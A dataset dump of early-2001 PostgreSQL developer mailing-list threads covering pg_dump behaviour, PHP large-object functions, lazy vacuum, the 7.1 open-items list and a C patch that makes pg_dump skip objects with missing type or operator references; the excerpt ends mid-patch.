threads listlengths 1 2.99k |
|---|
[
{
"msg_contents": "> The WAL logs auto-delete I think.\n\nAt checkpoint time.\n\nVadim\n",
"msg_date": "Wed, 24 Jan 2001 11:23:25 -0800",
"msg_from": "\"Mikheev, Vadim\" <vmikheev@SECTORBASE.COM>",
"msg_from_op": true,
"msg_subject": "RE: WAL documentation"
}
] |
[
{
"msg_contents": "Could we add a flag to remove the postgres specific information from a\npg_dump?\n\n--\nUPDATE \"pg_class\" SET \"reltriggers\" = 0 WHERE \"relname\" ~*\n'market_type';\n\nBEGIN TRANSACTION;\n\nCREATE TEMP TABLE \"tr\" (\"tmp_relname\" name, \"tmp_reltriggers\"\nsmallint);\n\nINSERT INTO \"tr\" SELECT C.\"relname\", count(T.\"oid\") FROM \"pg_class\" C,\n\"pg_trigger\" T WHERE C.\"oid\" = T.\"tgrelid\" AND C.\"relname\" ~*\n'market_type' GROUP BY 1;\n\nUPDATE \"pg_class\" SET \"reltriggers\" = TMP.\"tmp_reltriggers\" FROM \"tr\"\nTMP WHERE \"pg_class\".\"relname\" = TMP.\"tmp_relname\";\n\nDROP TABLE \"tr\";\n\nCOMMIT TRANSACTION;\n\n--\n\nThese make importing into other database systems rather difficult.\n\n--\nRod Taylor\n\nThere are always four sides to every story: your side, their side, the\ntruth, and what really happened.",
"msg_date": "Wed, 24 Jan 2001 14:48:35 -0500",
"msg_from": "\"Rod Taylor\" <rod.taylor@inquent.com>",
"msg_from_op": true,
"msg_subject": "pg_dump issues"
},
{
"msg_contents": "At 14:48 24/01/01 -0500, Rod Taylor wrote:\n>Could we add a flag to remove the postgres specific information from a\n>pg_dump?\n\nIt's easy enough to do, but removing all PG-specific information is\nprobably undesirable since, eg, pg_dump does not dump foreign key\nconstraints in a standard way (it just dumps the rules). pg_dump also\nissues '\\connect' statements, and will dump user-defined types, rules and\nfunctions that will probably not conform to the SQL standard.\n\nOver time I would like to see the output of pg_dump become as standard as\npossible - but in the mean time, would people see any value in a flag to do\nany of the following:\n\n(a) disable modifications to system tables (eg. turning off triggers and\nconstraints) \n\n(b) just disable code which turns off the triggers? Or something else...\n\n(c) something else....\n\n\nI can actually see value in (b) since people may want to load a single\ntable *and* have triggers operating.\n\n\n----------------------------------------------------------------\nPhilip Warner | __---_____\nAlbatross Consulting Pty. Ltd. |----/ - \\\n(A.B.N. 75 008 659 498) | /(@) ______---_\nTel: (+61) 0500 83 82 81 | _________ \\\nFax: (+61) 0500 83 82 82 | ___________ |\nHttp://www.rhyme.com.au | / \\|\n | --________--\nPGP key available upon request, | /\nand from pgp5.ai.mit.edu:11371 |/\n",
"msg_date": "Fri, 26 Jan 2001 14:09:05 +1100",
"msg_from": "Philip Warner <pjw@rhyme.com.au>",
"msg_from_op": false,
"msg_subject": "Re: pg_dump issues"
}
] |
[
{
"msg_contents": "pg_dump -c database\n\nThe \\connect is after the DROP TABLE statements where I believe it\nshould come first. (Gotta connect as the right user before dropping\neverything).\n\n--\nRod Taylor\n\nThere are always four sides to every story: your side, their side, the\ntruth, and what really happened.",
"msg_date": "Wed, 24 Jan 2001 14:56:00 -0500",
"msg_from": "\"Rod Taylor\" <rod.taylor@inquent.com>",
"msg_from_op": true,
"msg_subject": "pg_dump -c database problem"
},
{
"msg_contents": "At 14:56 24/01/01 -0500, Rod Taylor wrote:\n>pg_dump -c database\n>\n>The \\connect is after the DROP TABLE statements where I believe it\n>should come first. (Gotta connect as the right user before dropping\n>everything).\n>\n\nYou're right - I'll let you know when it's fixed.\n\n----------------------------------------------------------------\nPhilip Warner | __---_____\nAlbatross Consulting Pty. Ltd. |----/ - \\\n(A.B.N. 75 008 659 498) | /(@) ______---_\nTel: (+61) 0500 83 82 81 | _________ \\\nFax: (+61) 0500 83 82 82 | ___________ |\nHttp://www.rhyme.com.au | / \\|\n | --________--\nPGP key available upon request, | /\nand from pgp5.ai.mit.edu:11371 |/\n",
"msg_date": "Sat, 27 Jan 2001 12:35:41 +1100",
"msg_from": "Philip Warner <pjw@rhyme.com.au>",
"msg_from_op": false,
"msg_subject": "Re: pg_dump -c database problem"
}
] |
[
{
"msg_contents": "Adam, FYI, according to Rasmus Lerdorf, your patches have been \ncommitted. From the changelog:\n\n 2001-01-18 Derick Rethans <d.rethans@jdimedia.nl> <mailto:d.rethans@jdimedia.nl>\n \n * ext/pgsql/pgsql.c\n ext/pgsql/php_pgsql.h:\n - Added the pg_lolseek function, which allows for arbitrary seeking within\n a large object, and the pg_lotell call, which can be used to find the\n current file offset for a large object (Submitted by: Adam Haberlach\n <adam@newsnipple.com> <mailto:adam@newsnipple.com>).\n - Added the pg_lolseek and pg_lotell functions\n \n\nRegards,\nNed\n\n-- \n----------------------------------------------------\nNed Lilly e: ned@greatbridge.com\nVice President w: www.greatbridge.com\nEvangelism / Hacker Relations v: 757.233.5523\nGreat Bridge, LLC f: 757.233.5555\n\n\n\n-- Adam's original message:\n\nOn Mon, Jan 22, 2001 at 11:55:56PM -0500, Bruce Momjian wrote:\n> > On Wed, Dec 27, 2000 at 12:56:26AM -0500, Bruce Momjian wrote:\n> > > I have been asked by the major PHP developer Rasmus Lerdorf to see if\n> > > the PostgreSQL/PHP interface needs any improvements.\n> > > \n> > > Is the current PostgreSQL interface module in PHP adequate? Does it\n> > > support all the current libpq features?\n> > > \n> > > If not, would someone submit some patches to the PHP folks. They want\n> > > us to work well with PHP. They are basically encouraging us to improve\n> > > it in any way we can.\n> > \n> > \tI use PHP and Postgres together quite a bit, and find the APIs\n> > complete enough for most things. However, just last week I implemented\n> > \n> > pg_lolseek($loid, $offset $whence)\n> > and\n> > pg_lotell($loid)\n> > \n> > For some stuff that we are working on. They are pretty straightforward,\n> > and I can package them up and submit them if someone wants.\n> > \n\n> Would to send this over to the PHP folks for inclusion? Thanks.\n\n\tI sent them patches against the at-the-time up-to-date CVS tree back\nwhen this first came up, they said that they failed, so I sent them another\nset, and have not heard back from them. It doesn't seem to show up in the\ncvs logs.\n\n\tI'll bug someone again and see if I can find out what happened. I mean,\nthey only have 240 people with write access to the cvs tree...\n\n-- \nAdam Haberlach |A cat spends her life conflicted between a\nadam@newsnipple.com |deep, passionate, and profound desire for\nhttp://www.newsnipple.com |fish and an equally deep, passionate, and\n'88 EX500 |profound desire to avoid getting wet.\n\n\n",
"msg_date": "Wed, 24 Jan 2001 14:56:26 -0600",
"msg_from": "Ned Lilly <ned@greatbridge.com>",
"msg_from_op": true,
"msg_subject": "PHP - Postgres large object functions"
},
{
"msg_contents": "El Mi� 24 Ene 2001 17:56, Ned Lilly escribi�:\n> Adam, FYI, according to Rasmus Lerdorf, your patches have been\n> committed. From the changelog:\n>\n> 2001-01-18 Derick Rethans <d.rethans@jdimedia.nl>\n> <mailto:d.rethans@jdimedia.nl>\n>\n> * ext/pgsql/pgsql.c\n> ext/pgsql/php_pgsql.h:\n> - Added the pg_lolseek function, which allows for arbitrary seeking\n> within a large object, and the pg_lotell call, which can be used to find\n> the current file offset for a large object (Submitted by: Adam Haberlach\n> <adam@newsnipple.com> <mailto:adam@newsnipple.com>).\n> - Added the pg_lolseek and pg_lotell functions\n\nI've had headaches trying to understand how PHP works with postgres large \nobjects. Is there some kind of \"understandable\" docs on this behave?\n\nSaludos... :-)\n\n-- \nSystem Administration: It's a dirty job, \nbut someone told I had to do it.\n-----------------------------------------------------------------\nMart�n Marqu�s\t\t\temail: \tmartin@math.unl.edu.ar\nSanta Fe - Argentina\t\thttp://math.unl.edu.ar/~martin/\nAdministrador de sistemas en math.unl.edu.ar\n-----------------------------------------------------------------\n",
"msg_date": "Thu, 25 Jan 2001 10:06:16 -0300",
"msg_from": "\"Martin A. Marques\" <martin@math.unl.edu.ar>",
"msg_from_op": false,
"msg_subject": "Re: PHP - Postgres large object functions"
}
] |
[
{
"msg_contents": "> Did we decide against LAZY? Seems we have a number of people \n> concerned about vacuum downtime, and I can see this as a win\n> for them. If they don't specify LAZY, the code is not run.\n\nFirst sorry that I wasn't able to deal with vlazy earlier.\n\nNow I have one more open item for 7.1 - restoring index structure\nat runtime (add tuple to parent page for aborted split op,\ncreate root page if no one exists). I'll try to deal with both\nitems (in any case vlazy will be ported to 7.1, as required\nby contract).\n\nAs for reported problem: I just looked at Denis' tgz and\nfound only table, index and sequence(?) data files - I would\nneed in schema definitions, pg_log and pg_variable files\nas well. Denis? Also, when these copies were made -\nbefore/after unsuccessful vacuum+lazy?\n\nVadim\n",
"msg_date": "Wed, 24 Jan 2001 16:55:13 -0800",
"msg_from": "\"Mikheev, Vadim\" <vmikheev@SECTORBASE.COM>",
"msg_from_op": true,
"msg_subject": "RE: (one more time) Patches with vacuum fixes available\n\t ."
},
{
"msg_contents": "> > Did we decide against LAZY? Seems we have a number of people\n> > concerned about vacuum downtime, and I can see this as a win\n> > for them. If they don't specify LAZY, the code is not run.\n>\n> First sorry that I wasn't able to deal with vlazy earlier.\n>\n> Now I have one more open item for 7.1 - restoring index structure\n> at runtime (add tuple to parent page for aborted split op,\n> create root page if no one exists). I'll try to deal with both\n> items (in any case vlazy will be ported to 7.1, as required\n> by contract).\n>\n> As for reported problem: I just looked at Denis' tgz and\n> found only table, index and sequence(?) data files\n\nI sent users* :-)))\n\n> - I would\n> need in schema definitions, pg_log and pg_variable files\n> as well. Denis?\n\nI have sent them to you by private mail.\nSchema:\n\nwebmailstation=# \\d users\n Table \"users\"\n Attribute | Type | Modifier\n-------------------+-----------+------------------------------------------------\n id | integer | not null default \nnextval('users_id_seq'::text)\n account_name | text |\n account_pass | text |\n blocked | boolean | default 'f'\n commercial | boolean | default 'f'\n expire_date | timestamp | default now()\n num_of_pop3 | integer | default 1\n num_of_local | integer | default 1\n first_name | text |\n last_name | text |\n bd_year | integer |\n gender | integer |\n occupation | integer |\n income | integer |\n alternate_email | text |\n state | integer |\n country | integer |\n phone | text |\n password_question | integer |\n password_answer | text |\n crypt | char(13) |\n last_login_ip | char(31) |\n last_seen | timestamp |\n registered | timestamp |\n in_limit | integer | not null default 30\n out_limit | integer | not null default 10\n max_msg_size | integer | not null default 64\n max_reply_size | integer | not null default 16\n max_attach_size | integer | not null default 0\n max_replies | integer | not null default 10\n max_attachments | integer | default 0\nIndices: ix_users_account_name,\n ix_users_blocked,\n users_id_key\n\nDo you need 2 other indices?\n\n> Also, when these copies were made - before/after unsuccessful vacuum+lazy?\n\nSurely before. :-))) Otherwise they would be almost useless for you.\n\n-- \nSincerely Yours,\nDenis Perchine\n\n----------------------------------\nE-Mail: dyp@perchine.com\nHomePage: http://www.perchine.com/dyp/\nFidoNet: 2:5000/120.5\n----------------------------------\n",
"msg_date": "Thu, 25 Jan 2001 20:13:09 +0600",
"msg_from": "Denis Perchine <dyp@perchine.com>",
"msg_from_op": false,
"msg_subject": "Re: (one more time) Patches with vacuum fixes available ."
}
] |
[
{
"msg_contents": "I have removed unused entries from TODO.detail.\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Wed, 24 Jan 2001 22:53:34 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": true,
"msg_subject": "TODO.deail"
}
] |
[
{
"msg_contents": "Here are my open 7.1 items. Thanks for shrinking the list so far.\n\n---------------------------------------------------------------------------\n\nFreeBSD locale bug\nReorder INSERT firing in rules\nPhilip Warner UPDATE crash\nJDBC LargeObject short read return value missing\nSELECT cash_out(1) crashes all backends\nLAZY VACUUM\nFOREIGN KEY INSERT & UPDATE/DELETE in transaction \"change violation\"\nUsernames limited in length\nDoes pg_dump preserve COMMENTs?\nFailure of nested cursors in JDBC\nJDBC setMaxRows() is global variable affecting other objects\nDoes JDBC Makefile need current dir?\nFix for pg_dump of bad system tables\nSteve Howe failure query with rules\nODBC/JDBC not disconnecting properly?\nMagnus Hagander ODBC issues?\nMerge MySQL/PgSQL translation scripts\nFix ipcclean on Linux\nMerge global and template BKI files?\n\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Wed, 24 Jan 2001 23:07:40 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": true,
"msg_subject": "Open 7.1 items"
},
{
"msg_contents": "On Wed, 24 Jan 2001, Bruce Momjian wrote:\n\n> Here are my open 7.1 items. Thanks for shrinking the list so far.\n>\n> ---------------------------------------------------------------------------\n>\n> FreeBSD locale bug\n\nAFAIK, Tom have fixed it, if this bug is about -funsigned-char\n\n> Reorder INSERT firing in rules\n> Philip Warner UPDATE crash\n> JDBC LargeObject short read return value missing\n> SELECT cash_out(1) crashes all backends\n> LAZY VACUUM\n> FOREIGN KEY INSERT & UPDATE/DELETE in transaction \"change violation\"\n> Usernames limited in length\n> Does pg_dump preserve COMMENTs?\n> Failure of nested cursors in JDBC\n> JDBC setMaxRows() is global variable affecting other objects\n> Does JDBC Makefile need current dir?\n> Fix for pg_dump of bad system tables\n> Steve Howe failure query with rules\n> ODBC/JDBC not disconnecting properly?\n> Magnus Hagander ODBC issues?\n> Merge MySQL/PgSQL translation scripts\n> Fix ipcclean on Linux\n> Merge global and template BKI files?\n>\n>\n>\n\n\tRegards,\n\t\tOleg\n_____________________________________________________________\nOleg Bartunov, sci.researcher, hostmaster of AstroNet,\nSternberg Astronomical Institute, Moscow University (Russia)\nInternet: oleg@sai.msu.su, http://www.sai.msu.su/~megera/\nphone: +007(095)939-16-83, +007(095)939-23-83\n\n",
"msg_date": "Thu, 25 Jan 2001 10:12:05 +0300 (GMT)",
"msg_from": "Oleg Bartunov <oleg@sai.msu.su>",
"msg_from_op": false,
"msg_subject": "Re: Open 7.1 items"
},
{
"msg_contents": "Bruce Momjian <pgman@candle.pha.pa.us> writes:\n> Here are my open 7.1 items. Thanks for shrinking the list so far.\n\n> SELECT cash_out(1) crashes all backends\n\nThis isn't a \"must fix for 7.1\", any more than it was for 7.0, 6.5,\nor any other release back to the beginning of time. It's always been\npossible to crash the backend by passing an incompatible argument to\na type input or output function. The type-checking system cannot\ndetect the error because these functions are (mostly) declared to\ntake \"any\" input type (zero entry in proargtypes[]).\n\nThe only clean way to fix this is to declare I/O functions honestly.\nThat will require (a) a type-system representation for \"C string\"\nand (b) a solution to the circularity issue for user-defined types.\nIf the I/O functions have to be declared first, how can they refer\nto the type?\n\nQuite aside from the time involved, this will require an initdb.\nIt's a bit late in the cycle for that.\n\n\t\t\tregards, tom lane\n",
"msg_date": "Thu, 25 Jan 2001 06:20:11 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: Open 7.1 items "
},
{
"msg_contents": "Bruce Momjian writes:\n\n> FOREIGN KEY INSERT & UPDATE/DELETE in transaction \"change violation\"\n\nYou're certainly not going to want to fix this now after having stared at\nit for a year? It's not trivial.\n\n> Usernames limited in length\n\nYeah, they are. ;-)\n\nIf this is referring to pg_passwd, I just had a closer look and it's\nreally a desaster. Both password and username as well as line length and\nfile length (in lines) have arbitrary limits, sometimes not even\nconsistent ones. To fix this to a point where one is confident that\neverything works one essentially would have to rewrite the whole thing.\n\n> Does pg_dump preserve COMMENTs?\n\nSure\n\n> Fix ipcclean on Linux\n\nConsider it done.\n\n> Merge global and template BKI files?\n\nNot this release.\n\n-- \nPeter Eisentraut peter_e@gmx.net http://yi.org/peter-e/\n\n",
"msg_date": "Thu, 25 Jan 2001 17:37:08 +0100 (CET)",
"msg_from": "Peter Eisentraut <peter_e@gmx.net>",
"msg_from_op": false,
"msg_subject": "Re: Open 7.1 items"
},
{
"msg_contents": "> Fix for pg_dump of bad system tables\n\nOk. I have made patches for fixing some of pg_dump problems(see\nattached patches). The patches address the problem with user defined\nfunctions, operators and aggregates. Could someone please review and\ncommit them if they look ok? (I'm now in US and have only very\nexpensive internet connection through an international phone call to\nJapan in a hotel! Also I'm not quite sure \"#arg\" (stringification) is\nportable enough in all platforms.) Or I could commit after going back\nto Japan planned on Feb 2 if that's not too late.\n\nHowever I have not address what Tom Lane said yet(actually I do not\nunderstand what he says).\n\n> The other flavor of problems that pg_dump\n> has in this area are in doing inner joins across system catalogs ...\n> \n> \t\t\tregards, tom lane\n\nIndex: common.c\n===================================================================\nRCS file: /home/projects/pgsql/cvsroot/pgsql/src/bin/pg_dump/common.c,v\nretrieving revision 1.49\ndiff -c -r1.49 common.c\n*** common.c\t2001/01/12 15:41:29\t1.49\n--- common.c\t2001/01/21 01:38:48\n***************\n*** 86,95 ****\n \t\t}\n \t}\n \n! \t/* should never get here */\n! \tfprintf(stderr, \"failed sanity check, type with oid %s was not found\\n\",\n! \t\t\toid);\n! \texit(2);\n }\n \n /*\n--- 86,93 ----\n \t\t}\n \t}\n \n! \t/* no suitable type name was found */\n! \treturn(NULL);\n }\n \n /*\n***************\n*** 114,120 ****\n \t/* should never get here */\n \tfprintf(stderr, \"failed sanity check, opr with oid %s was not found\\n\",\n \t\t\toid);\n! \texit(2);\n }\n \n \n--- 112,120 ----\n \t/* should never get here */\n \tfprintf(stderr, \"failed sanity check, opr with oid %s was not found\\n\",\n \t\t\toid);\n! \n! \t/* no suitable operator name was found */\n! \treturn(NULL);\n }\n \n \n*** pg_dump.c.orig\tFri Jan 26 06:56:09 2001\n--- pg_dump.c\tFri Jan 26 06:35:26 2001\n***************\n*** 2928,2933 ****\n--- 2928,2942 ----\n \t\t\tchar\t *elemType;\n \n \t\t\telemType = findTypeByOid(tinfo, numTypes, tinfo[i].typelem, zeroAsOpaque);\n+ \t\t\tif (elemType == NULL)\n+ \t\t\t{\n+ \t\t\t\tfprintf(stderr, \"Notice: type for oid %s is not dumped.\\n\",\n+ \t\t\t\t\t\ttinfo[i].typelem);\n+ \t\t\t\tresetPQExpBuffer(q);\n+ \t\t\t\tresetPQExpBuffer(delq);\n+ \t\t\t\tcontinue;\n+ \t\t\t}\n+ \n \t\t\tappendPQExpBuffer(q, \", element = %s, delimiter = \", elemType);\n \t\t\tformatStringLiteral(q, tinfo[i].typdelim);\n \t\t}\n***************\n*** 3086,3091 ****\n--- 3095,3101 ----\n \tchar\t\t*listSep;\n \tchar\t\t*listSepComma = \",\";\n \tchar\t\t*listSepNone = \"\";\n+ \tchar\t\t*rettypename;\n \n \tif (finfo[i].dumped)\n \t\treturn;\n***************\n*** 3147,3152 ****\n--- 3157,3177 ----\n \t\tchar\t\t\t*typname;\n \n \t\ttypname = findTypeByOid(tinfo, numTypes, finfo[i].argtypes[j], zeroAsOpaque);\n+ \t\tif (typname == NULL)\n+ \t\t{\n+ \t\t\tfprintf(stderr, \"Notice: function \\\"%s\\\" is not dumped.\\n\",\n+ \t\t\t\t\tfinfo[i].proname);\n+ \n+ \t\t\tfprintf(stderr, \"Reason: the %d th argument type name (oid %s) not found.\\n\",\n+ \t\t\t\t\tj, finfo[i].argtypes[j]);\n+ \t\t\tresetPQExpBuffer(q);\n+ \t\t\tresetPQExpBuffer(fn);\n+ \t\t\tresetPQExpBuffer(delqry);\n+ \t\t\tresetPQExpBuffer(fnlist);\n+ \t\t\tresetPQExpBuffer(asPart);\n+ \t\t\treturn;\n+ \t\t}\n+ \n \t\tappendPQExpBuffer(fn, \"%s%s\", \n \t\t\t\t\t\t\t(j > 0) ? \",\" : \"\", \n \t\t\t\t\t\t\ttypname);\n***************\n*** 3159,3169 ****\n \tresetPQExpBuffer(delqry);\n \tappendPQExpBuffer(delqry, \"DROP FUNCTION %s;\\n\", fn->data );\n \n \tresetPQExpBuffer(q);\n \tappendPQExpBuffer(q, \"CREATE FUNCTION %s \", fn->data );\n \tappendPQExpBuffer(q, \"RETURNS %s%s %s LANGUAGE \",\n \t\t\t\t\t (finfo[i].retset) ? \"SETOF \" : \"\",\n! \t\t\t\t\t findTypeByOid(tinfo, numTypes, finfo[i].prorettype, zeroAsOpaque),\n \t\t\t\t\t asPart->data);\n \tformatStringLiteral(q, func_lang);\n \n--- 3184,3211 ----\n \tresetPQExpBuffer(delqry);\n \tappendPQExpBuffer(delqry, \"DROP FUNCTION %s;\\n\", fn->data );\n \n+ \trettypename = findTypeByOid(tinfo, numTypes, finfo[i].prorettype, zeroAsOpaque);\n+ \n+ \tif (rettypename == NULL)\n+ \t{\n+ \t\tfprintf(stderr, \"Notice: function \\\"%s\\\" is not dumped.\\n\",\n+ \t\t\t\tfinfo[i].proname);\n+ \n+ \t\tfprintf(stderr, \"Reason: return type name (oid %s) not found.\\n\",\n+ \t\t\t\tfinfo[i].prorettype);\n+ \t\t\tresetPQExpBuffer(q);\n+ \t\t\tresetPQExpBuffer(fn);\n+ \t\t\tresetPQExpBuffer(delqry);\n+ \t\t\tresetPQExpBuffer(fnlist);\n+ \t\t\tresetPQExpBuffer(asPart);\n+ \t\t\treturn;\n+ \t}\n+ \n \tresetPQExpBuffer(q);\n \tappendPQExpBuffer(q, \"CREATE FUNCTION %s \", fn->data );\n \tappendPQExpBuffer(q, \"RETURNS %s%s %s LANGUAGE \",\n \t\t\t\t\t (finfo[i].retset) ? \"SETOF \" : \"\",\n! \t\t\t\t\t rettypename,\n \t\t\t\t\t asPart->data);\n \tformatStringLiteral(q, func_lang);\n \n***************\n*** 3208,3213 ****\n--- 3250,3261 ----\n dumpOprs(Archive *fout, OprInfo *oprinfo, int numOperators,\n \t\t TypeInfo *tinfo, int numTypes)\n {\n+ #define OPR_NOTICE(arg) {\\\n+ \t\tfprintf(stderr, \"Notice: operator \\\"%s\\\"(oid %s) is not dumped.\\n\",oprinfo[i].oprname, oprinfo[i].oid);\\\n+ \tfprintf(stderr, \"Reason: \" #arg);\\\n+ \tfprintf (stderr, \" (oid %s) not found.\\n\",oprinfo[i].arg);\\\n+ \t}\n+ \n \tint\t\t\ti;\n \tPQExpBuffer q = createPQExpBuffer();\n \tPQExpBuffer delq = createPQExpBuffer();\n***************\n*** 3222,3227 ****\n--- 3270,3276 ----\n \n \tfor (i = 0; i < numOperators; i++)\n \t{\n+ \t char *name;\n \n \t\tresetPQExpBuffer(leftarg);\n \t\tresetPQExpBuffer(rightarg);\n***************\n*** 3250,3271 ****\n \t\tif (strcmp(oprinfo[i].oprkind, \"r\") == 0 ||\n \t\t\tstrcmp(oprinfo[i].oprkind, \"b\") == 0)\n \t\t{\n! \t\t\tappendPQExpBuffer(leftarg, \",\\n\\tLEFTARG = %s \",\n! \t\t\t\t\t\t\t\tfindTypeByOid(tinfo, numTypes, oprinfo[i].oprleft, zeroAsOpaque) );\n \t\t}\n \t\tif (strcmp(oprinfo[i].oprkind, \"l\") == 0 ||\n \t\t\tstrcmp(oprinfo[i].oprkind, \"b\") == 0)\n \t\t{\n! \t\t\tappendPQExpBuffer(rightarg, \",\\n\\tRIGHTARG = %s \",\n! \t\t\t\t\t\t\t findTypeByOid(tinfo, numTypes, oprinfo[i].oprright, zeroAsOpaque) );\n \t\t}\n \t\tif (!(strcmp(oprinfo[i].oprcom, \"0\") == 0))\n! \t\t\tappendPQExpBuffer(commutator, \",\\n\\tCOMMUTATOR = %s \",\n! \t\t\t\t findOprByOid(oprinfo, numOperators, oprinfo[i].oprcom));\n \n \t\tif (!(strcmp(oprinfo[i].oprnegate, \"0\") == 0))\n! \t\t\tappendPQExpBuffer(negator, \",\\n\\tNEGATOR = %s \",\n! \t\t\t findOprByOid(oprinfo, numOperators, oprinfo[i].oprnegate));\n \n \t\tif (!(strcmp(oprinfo[i].oprrest, \"-\") == 0))\n \t\t\tappendPQExpBuffer(restrictor, \",\\n\\tRESTRICT = %s \", oprinfo[i].oprrest);\n--- 3299,3348 ----\n \t\tif (strcmp(oprinfo[i].oprkind, \"r\") == 0 ||\n \t\t\tstrcmp(oprinfo[i].oprkind, \"b\") == 0)\n \t\t{\n! \t\t name = findTypeByOid(tinfo, numTypes, \n! \t\t\t\t\t\t\t\t oprinfo[i].oprleft, zeroAsOpaque);\n! \t\t\tif (name == NULL)\n! \t\t\t{\n! \t\t\t\tOPR_NOTICE(oprleft);\n! \t\t\t\tcontinue;\n! \t\t\t}\n! \t\t\tappendPQExpBuffer(leftarg, \",\\n\\tLEFTARG = %s \",name);\n \t\t}\n+ \n \t\tif (strcmp(oprinfo[i].oprkind, \"l\") == 0 ||\n \t\t\tstrcmp(oprinfo[i].oprkind, \"b\") == 0)\n \t\t{\n! \t\t name = findTypeByOid(tinfo, numTypes, \n! \t\t\t\t\t\t\t\t oprinfo[i].oprright, zeroAsOpaque);\n! \t\t\tif (name == NULL)\n! \t\t\t{\n! \t\t\t\tOPR_NOTICE(oprright);\n! \t\t\t\tcontinue;\n! \t\t\t}\n! \t\t\tappendPQExpBuffer(rightarg, \",\\n\\tRIGHTARG = %s \", name);\n \t\t}\n+ \n \t\tif (!(strcmp(oprinfo[i].oprcom, \"0\") == 0))\n! \t\t{\n! \t\t\tname = findOprByOid(oprinfo, numOperators, oprinfo[i].oprcom);\n! \t\t\tif (name == NULL)\n! \t\t\t{\n! \t\t\t\tOPR_NOTICE(oprcom);\n! \t\t\t\tcontinue;\n! \t\t\t}\n! \t\t\tappendPQExpBuffer(commutator, \",\\n\\tCOMMUTATOR = %s \", name);\n! \t\t}\n \n \t\tif (!(strcmp(oprinfo[i].oprnegate, \"0\") == 0))\n! \t\t{\n! \t\t\tname = findOprByOid(oprinfo, numOperators, oprinfo[i].oprnegate);\n! \t\t\tif (name == NULL)\n! \t\t\t{\n! \t\t\t\tOPR_NOTICE(oprnegate);\n! \t\t\t\tcontinue;\n! \t\t\t}\n! \t\t\tappendPQExpBuffer(negator, \",\\n\\tNEGATOR = %s \", name);\n! \t\t}\n \n \t\tif (!(strcmp(oprinfo[i].oprrest, \"-\") == 0))\n \t\t\tappendPQExpBuffer(restrictor, \",\\n\\tRESTRICT = %s \", oprinfo[i].oprrest);\n***************\n*** 3274,3285 ****\n \t\t\tappendPQExpBuffer(join, \",\\n\\tJOIN = %s \", oprinfo[i].oprjoin);\n \n \t\tif (!(strcmp(oprinfo[i].oprlsortop, \"0\") == 0))\n! \t\t\tappendPQExpBuffer(sort1, \",\\n\\tSORT1 = %s \",\n! \t\t\t findOprByOid(oprinfo, numOperators, oprinfo[i].oprlsortop));\n \n \t\tif (!(strcmp(oprinfo[i].oprrsortop, \"0\") == 0))\n! \t\t\tappendPQExpBuffer(sort2, \",\\n\\tSORT2 = %s \",\n! \t\t\t findOprByOid(oprinfo, numOperators, oprinfo[i].oprrsortop));\n \n \t\tresetPQExpBuffer(delq);\n \t\tappendPQExpBuffer(delq, \"DROP OPERATOR %s (%s\", oprinfo[i].oprname,\n--- 3351,3376 ----\n \t\t\tappendPQExpBuffer(join, \",\\n\\tJOIN = %s \", oprinfo[i].oprjoin);\n \n \t\tif (!(strcmp(oprinfo[i].oprlsortop, \"0\") == 0))\n! \t\t{\n! \t\t\tname = \tfindOprByOid(oprinfo, numOperators, oprinfo[i].oprlsortop);\n! \t\t\tif (name == NULL)\n! \t\t\t{\n! \t\t\t\tOPR_NOTICE(oprlsortop);\n! \t\t\t\tcontinue;\n! \t\t\t}\n! \t\t\tappendPQExpBuffer(sort1, \",\\n\\tSORT1 = %s \", name);\n! \t\t}\n \n \t\tif (!(strcmp(oprinfo[i].oprrsortop, \"0\") == 0))\n! \t\t{\n! \t\t\tname = \tfindOprByOid(oprinfo, numOperators, oprinfo[i].oprrsortop);\n! \t\t\tif (name == NULL)\n! \t\t\t{\n! \t\t\t\tOPR_NOTICE(oprrsortop);\n! \t\t\t\tcontinue;\n! \t\t\t}\n! \t\t\tappendPQExpBuffer(sort2, \",\\n\\tSORT2 = %s \", name);\n! \t\t}\n \n \t\tresetPQExpBuffer(delq);\n \t\tappendPQExpBuffer(delq, \"DROP OPERATOR %s (%s\", oprinfo[i].oprname,\n***************\n*** 3317,3322 ****\n--- 3408,3419 ----\n dumpAggs(Archive *fout, AggInfo *agginfo, int numAggs,\n \t\t TypeInfo *tinfo, int numTypes)\n {\n+ #define AGG_NOTICE(arg) {\\\n+ \t\tfprintf(stderr, \"Notice: aggregate \\\"%s\\\"(oid %s) is not dumped.\\n\",agginfo[i].aggname, agginfo[i].oid);\\\n+ \tfprintf(stderr, \"Reason: \" #arg);\\\n+ \tfprintf (stderr, \" (oid %s) not found.\\n\",agginfo[i].arg);\\\n+ \t}\n+ \n \tint\t\t\ti;\n \tPQExpBuffer q = createPQExpBuffer();\n \tPQExpBuffer delq = createPQExpBuffer();\n***************\n*** 3325,3344 ****\n \n \tfor (i = 0; i < numAggs; i++)\n \t{\n \t\tresetPQExpBuffer(details);\n \n \t\t/* skip all the builtin oids */\n \t\tif (atooid(agginfo[i].oid) <= g_last_builtin_oid)\n \t\t\tcontinue;\n \n! \t\tappendPQExpBuffer(details,\n! \t\t\t\t\t\t \"BASETYPE = %s, \",\n! \t\t\t\t\t\t findTypeByOid(tinfo, numTypes, agginfo[i].aggbasetype, zeroAsAny + useBaseTypeName));\n \n \t\tappendPQExpBuffer(details,\n \t\t\t\t\t\t \"SFUNC = %s, STYPE = %s\",\n! \t\t\t\t\t\t agginfo[i].aggtransfn,\n! \t\t\t\t\t\t findTypeByOid(tinfo, numTypes, agginfo[i].aggtranstype, zeroAsOpaque + useBaseTypeName));\n \n \t\tif (agginfo[i].agginitval)\n \t\t{\n--- 3422,3452 ----\n \n \tfor (i = 0; i < numAggs; i++)\n \t{\n+ \t\tchar *name;\n+ \n \t\tresetPQExpBuffer(details);\n \n \t\t/* skip all the builtin oids */\n \t\tif (atooid(agginfo[i].oid) <= g_last_builtin_oid)\n \t\t\tcontinue;\n \n! \t\tname 